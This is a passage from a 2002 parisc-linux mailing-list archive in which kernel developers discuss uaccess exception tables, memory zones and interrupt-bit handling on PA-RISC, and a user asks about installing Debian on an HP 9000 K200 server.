	id 186Lu4-0000NP-00; Tue, 29 Oct 2002 02:14:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200210290012.RAA27628@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Oct 28, 2002 at 05:12:03PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16621

On Mon, Oct 28, 2002 at 05:12:03PM -0700, John Marvin wrote:
> > ex_table is used for recovering from a page fault.  i don't see how we
> > can take a page fault when copying to kernel ram.
> 
> Let's wait on removing this support.  This mechanism provides a way of
> testing whether or not an address is a valid kernel address (in addition
> to range checking the address).  I'd like to consider implementing the
> virtual mem map support (currently implemented on ia64) on parisc as an
> alternative mechanism (to willy's idea of using kmap/kunmap) for getting
> back the 256Mb of memory we currently ignore for Astro based machines with
> more than 3.75 Gb of memory.  The virtual mem map code uses this exact
> mechanism to determine whether or not a struct page pointer is pointing
> into a sparse (unallocated) region of the virtual mem map array (i.e. on
> ia64 the ia64_page_valid() routine does a get_user on the first byte and
> checks the return from get_user to see if it fails/succeeds).

Well.. if you're interested in working on PA again, I have 3 ideas which
kind of overlap (you seem to have confused two of them, so it's worth
talking about them all):

(1) get/put_user & copy_to/from_user should always copy to %sr3.
    set_fs et al should manipulate sr3.  Last time this came up, you said
    this should work but would need testing.  That gets rid of the duplicate
    exception tables.

(2) the kmap/kunmap idea was to avoid cache aliasing.  we always kmap a
    pagecache page before we access it, so we can map it to an address that
    is "equivalent" to the userspace address before accessing it.  Not sure
    we get away with making flush_dcache_page() a no-op, though.

(3) For getting back the 256MB of memory mapped at 64GB, I think the
    DISCONTIG code in 2.5 is now suitable.  It's now based on zones,
    not nodes, so we can have a ZONE_DMA from 0-3.75GB, ZONE_NORMAL from
    4-xGB and ZONE_HIGHMEM from 64GB to 64GB+256MB.  I suspect this is
    the right thing to do on ia64 too, for 2.5.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch)
Date: Mon, 28 Oct 2002 22:55:02 -0700 (MST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200210290555.WAA12774@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621871 16094 80.91.229.3 (22 Nov 2014 02:04:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 22:55:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id E28184829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 22:55:05 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel9.hp.com (Postfix) with ESMTP id 99D7CE00547
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Oct 2002 00:55:02 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id WAA12774
	for parisc-linux@lists.parisc-linux.org; Mon, 28 Oct 2002 22:55:02 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16622

> Well.. if you're interested in working on PA again, I have 3 ideas which
> kind of overlap (you seem to have confused two of them, so it's worth
> talking about them all):

I didn't get them confused in the way you think.  I knew that you were
proposing using kmap/kunmap to solve the flushing/aliasing issues,
especially on stretch.  But I saw your todo message suggesting the use of
zone_highmem for getting back the 256Mb.  My 2.4 based understanding is
that the kernel kmaps memory in that zone in order to use it.  That may no
longer be true on 2.5 (or may not ever have been true in the first place).
I'll be looking at that immediately, since I have to either merge the
virtual mem map stuff into 2.5, or see if the vm changes with respect to
zones will solve the problem as you suggest. Whatever works for ia64
will probably also work for parisc, since the problem is similar (although
a little more extreme on ia64).

On another note, I am still looking at the I bit issue with respect to
handle_interruption. What I forgot was that we always turn the I bit
off when we switch to virtual mode before calling handle_interruption.
So, the I bit needs to be on for user faults at the very least. That is
why I put that code in there.

However, Grant is right in that there is a hole if the kernel faults with
the I bit off.  Normally that would be a bug, i.e. there are few valid
reasons for the kernel to fault with the I bit off (what I mean by fault
in this case is something that makes it to handle_interruption, not
something that gets handled at a lower level, like a tlb miss).  But, I
can think of a few possible scenarios where it might be happen
legitimately, although I don't know if any actually occur.

The right solution is to restore the I bit to whatever it was at the time
of the fault.  That is probably more appropriately handled at virt_map
time (add a register argument to the macro holding the desired I bit
state, call with r0 for intr_extint, call with previous masked value from
ipsw for intr_save).  I believe if done right, we can also set things up
properly in hpmc.S so that when it calls intr_save, the I bit won't be
turned on, and we can remove the special case code from handle_interruption.

I'm also looking at a potential problem in parisc's return from
syscall/faults.  I'll hopefully fix all the above soon.  And yes, I'll
merge it into 2.5 also.

John


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch)
Date: Tue, 29 Oct 2002 13:51:00 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20021029135100.X27461@parcelfarce.linux.theplanet.co.uk>
References: <200210290555.WAA12774@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621871 16095 80.91.229.3 (22 Nov 2014 02:04:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 29 06:51:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD5584829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Oct 2002 06:51:05 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 186Wlo-0007Z1-00; Tue, 29 Oct 2002 13:51:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200210290555.WAA12774@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Oct 28, 2002 at 10:55:02PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16623

On Mon, Oct 28, 2002 at 10:55:02PM -0700, John Marvin wrote:
> I didn't get them confused in the way you think.  I knew that you were
> proposing using kmap/kunmap to solve the flushing/aliasing issues,
> especially on stretch.  But I saw your todo message suggesting the use of
> zone_highmem for getting back the 256Mb.  My 2.4 based understanding is
> that the kernel kmaps memory in that zone in order to use it.  That may no
> longer be true on 2.5 (or may not ever have been true in the first place).

That's true.  It's only available for allocation to requests that have
__GFP_HIGHMEM set, ie those that specify GFP_HIGHUSER.  And all those
users kmap it to ensure that it's addressable.  But that includes almost
all the allocations done to give ram to userspace, so I suspect this zone
will be exhausted long before the othr zones.

As an existance proof, people really do run x86 boxes with 15GB of
ZONE_HIGHMEM and 800MB of ZONE_NORMAL, and it works for most workloads.
The exceptions are things like 1000 oracle processes mmaping 2GB each.
They run out of ZONE_NORMAL because ptes are still allocated from there.

> I'll be looking at that immediately, since I have to either merge the
> virtual mem map stuff into 2.5, or see if the vm changes with respect to
> zones will solve the problem as you suggest. Whatever works for ia64
> will probably also work for parisc, since the problem is similar (although
> a little more extreme on ia64).

Yep.  The worst case is 1GB of ZONE_DMA and 3GB of ZONE_HIGHMEM, which
is still not as bad as x86 gets.  Of course, kmap is still a nop since
we can still address the "highmem".  I do think the zones need to be
redesigned a bit; they're still too x86-centric.  There might still be
time for that before 2.6...

> I'm also looking at a potential problem in parisc's return from
> syscall/faults.  I'll hopefully fix all the above soon.  And yes, I'll
> merge it into 2.5 also.

Great, thanks!

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= <eadrianzen@tsd.com.pe>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 K200
Date: Tue, 29 Oct 2002 10:24:31 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <013b01c27f5f$48a4dd60$13dca8c0@tsd.com.pe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0138_01C27F35.5E755FE0"
X-Trace: ger.gmane.org 1416621872 16097 80.91.229.3 (22 Nov 2014 02:04:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 29 08:26:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from correo.tic.com.pe (mailhost.ctarucayali.gob.pe [206.138.111.4])
	by dsl2.external.hp.com (Postfix) with SMTP id BC2494829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Oct 2002 08:26:30 -0700 (MST)
Original-Received: (qmail 19570 invoked by uid 0); 29 Oct 2002 15:07:51 -0000
Original-Received: from unknown (HELO tsdeaa) (eadrianzen@[200.48.67.100]) (envelope-sender <eadrianzen@tsd.com.pe>)
          by correo.tic.com.pe (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 29 Oct 2002 15:07:51 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16624

This is a multi-part message in MIME format.

------=_NextPart_000_0138_01C27F35.5E755FE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi there:

I have the oportunity to buy an hp 9000 k200 server, but I need run =
linux on it. I had read the mailing list history but the last email =
about is from March. I would to know if someone has installed it =
succesfuly with the new Debian 3.0 from July.

Thanks.

Emilio.
------=_NextPart_000_0138_01C27F35.5E755FE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi there:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have the oportunity to buy an hp 9000 =
k200=20
server, but I need run linux on it. I had read the mailing list history =
but the=20
last email about is from March. I would to know if someone has installed =
it=20
succesfuly with the new Debian 3.0 from July.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Emilio.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0138_01C27F35.5E755FE0--



From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch)
Date: Tue, 29 Oct 2002 10:41:26 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20021029174126.65B9A4829@dsl2.external.hp.com>
References: <200210290555.WAA12774@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621872 16100 80.91.229.3 (22 Nov 2014 02:04:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 29 10:41:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 65B9A4829; Tue, 29 Oct 2002 10:41:26 -0700 (MST)
In-Reply-To: Message from John Marvin <jsm@udlkern.fc.hp.com> 
   of "Mon, 28 Oct 2002 22:55:02 MST." <200210290555.WAA12774@udlkern.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16625

John Marvin wrote:
> However, Grant is right in that there is a hole if the kernel faults with
> the I bit off.

yes - I guess that's another way of looking at it.
My concern was around all the places in entry.S that return to
the intr_return label. That results in I-bit getting unconditional
set (thus re-enabling interrupts) until rfir restores it.
It opens a window where 

> Normally that would be a bug, i.e. there are few valid
> reasons for the kernel to fault with the I bit off (what I mean by fault
> in this case is something that makes it to handle_interruption, not
> something that gets handled at a lower level, like a tlb miss).

hmm...not sure about that. We have lots of misc reasons for traps/faults
where we just might not be handling the CPU correctly. In "Group 2"
Interrupt Class, only LPMC might be expected - but we don't protect
against the others either. I need to add code to "handle_interrupt()"
to see if I'm hitting that code path and how.

> But, I can think of a few possible scenarios where it might be happen
> legitimately, although I don't know if any actually occur.

I guess i should convince myself 100% it is happening and which trap/fault
is the offending bit.

> The right solution is to restore the I bit to whatever it was at the time
> of the fault.

I'm thinking the right solution is *only* the 'extr_interrupt' code
path should touch the I-bit after it's handled the external interrupt.
rfir will restore to what it should be. In practice, this would
mean that only extr_intr label will return to intr_return.
Everyone else will return to intr_restore.

And we need to find instances of local_irq_disable() when
I-bit is already off. Non-trivial since some code will save flags,
disable IRQ, and restore flags later.

> That is probably more appropriately handled at virt_map
> time (add a register argument to the macro holding the desired I bit
> state, call with r0 for intr_extint, call with previous masked value from
> ipsw for intr_save).  I believe if done right, we can also set things up
> properly in hpmc.S so that when it calls intr_save, the I bit won't be
> turned on, and we can remove the special case code from handle_interruption.

sounds like you understand this part of the code alot better than I do.

> I'm also looking at a potential problem in parisc's return from
> syscall/faults.  I'll hopefully fix all the above soon.  And yes, I'll
> merge it into 2.5 also.

cool - I'm testing my proposal to change other to use intr_restore path
but it's still deadlocking on io_request_lock at boot. Either some other
code must still be mucking with the I-bit or something is corrupting
the io_request_lock.

thanks,
grant


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 K200
Date: Wed, 30 Oct 2002 09:24:54 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3DBF8946.6030208@itp.bg>
References: <013b01c27f5f$48a4dd60$13dca8c0@tsd.com.pe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621872 16101 80.91.229.3 (22 Nov 2014 02:04:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:32 +0000 (UTC)
To: =?ISO-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= <eadrianzen@tsd.com.pe>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 30 00:23:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 353E0482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Oct 2002 00:23:37 -0700 (MST)
Original-Received: (qmail 16826 invoked from network); 30 Oct 2002 07:23:58 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 30 Oct 2002 07:23:57 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16626

Emilio Adrianzn Acosta wrote:

> Hi there:
>  
> I have the oportunity to buy an hp 9000 k200 server, but I need run 
> linux on it. I had read the mailing list history but the last email 
> about is from March. I would to know if someone has installed it 
> succesfuly with the new Debian 3.0 from July.
>  
> Thanks.
>  
> Emilio.


Hello Emilio,
I have K210 and I have been installed 0.9.3 parisc linux, after I made 
dist-upgrade all is working, and I am thinking
that you shouldn't have problems with debian 3.0




From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 K200
Date: 30 Oct 2002 07:42:22 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <1035988942.11865.2.camel@beavis>
References: <013b01c27f5f$48a4dd60$13dca8c0@tsd.com.pe> 
	<3DBF8946.6030208@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621873 16104 80.91.229.3 (22 Nov 2014 02:04:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:33 +0000 (UTC)
Cc: Emilio =?ISO-8859-1?Q?Adrianz=E9n?= Acosta <eadrianzen@tsd.com.pe>,
	parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 30 07:42:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DE42482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Oct 2002 07:42:26 -0700 (MST)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9C2302B109; Wed, 30 Oct 2002 07:42:22 -0700 (MST)
In-Reply-To: <3DBF8946.6030208@itp.bg>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16627

Emilio,

Debian 3.0 out of the box will not support the K class systems because
of the serial mux/pdc console.

Use the ESIEE installers, (search the mail list for details) then
everything should work as expected.

Thanks,

- Ryan

On Wed, 2002-10-30 at 00:24, Stephan Trajkoff wrote:
> Emilio Adrianz=E9n Acosta wrote:
>=20
> > Hi there:
> > =20
> > I have the oportunity to buy an hp 9000 k200 server, but I need run=20
> > linux on it. I had read the mailing list history but the last email=20
> > about is from March. I would to know if someone has installed it=20
> > succesfuly with the new Debian 3.0 from July.
> > =20
> > Thanks.
> > =20
> > Emilio.
>=20
>=20
> Hello Emilio,
> I have K210 and I have been installed 0.9.3 parisc linux, after I made=20
> dist-upgrade all is working, and I am thinking
> that you shouldn't have problems with debian 3.0
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20




From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= <eadrianzen@tsd.com.pe>
Newsgroups: gmane.linux.ports.parisc
Subject: Fw: [parisc-linux] HP 9000 K200
Date: Wed, 30 Oct 2002 10:19:32 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <005101c28027$bfd59280$13dca8c0@tsd.com.pe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621873 16107 80.91.229.3 (22 Nov 2014 02:04:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 30 08:20:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from correo.tic.com.pe (mailhost.ctarucayali.gob.pe [206.138.111.4])
	by dsl2.external.hp.com (Postfix) with SMTP id E65FC4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Oct 2002 08:20:37 -0700 (MST)
Original-Received: (qmail 8711 invoked by uid 0); 30 Oct 2002 15:02:39 -0000
Original-Received: from unknown (HELO tsdeaa) (eadrianzen@[200.48.67.100]) (envelope-sender <eadrianzen@tsd.com.pe>)
          by correo.tic.com.pe (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 30 Oct 2002 15:02:39 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16628

Thanks Ryan:

I am downloading it now.

One question: I need the source code of the sendmail to be modified and
recompiled in the box, the standard source code will work or there ie
another source code of sendmail for this server.

Thanks for the support.

I will keep you informed about the progress.

> ----- Original Message -----
> From: "Ryan Bradetich" <rbradetich@uswest.net>
> To: "Stephan Trajkoff" <stephan@itp.bg>
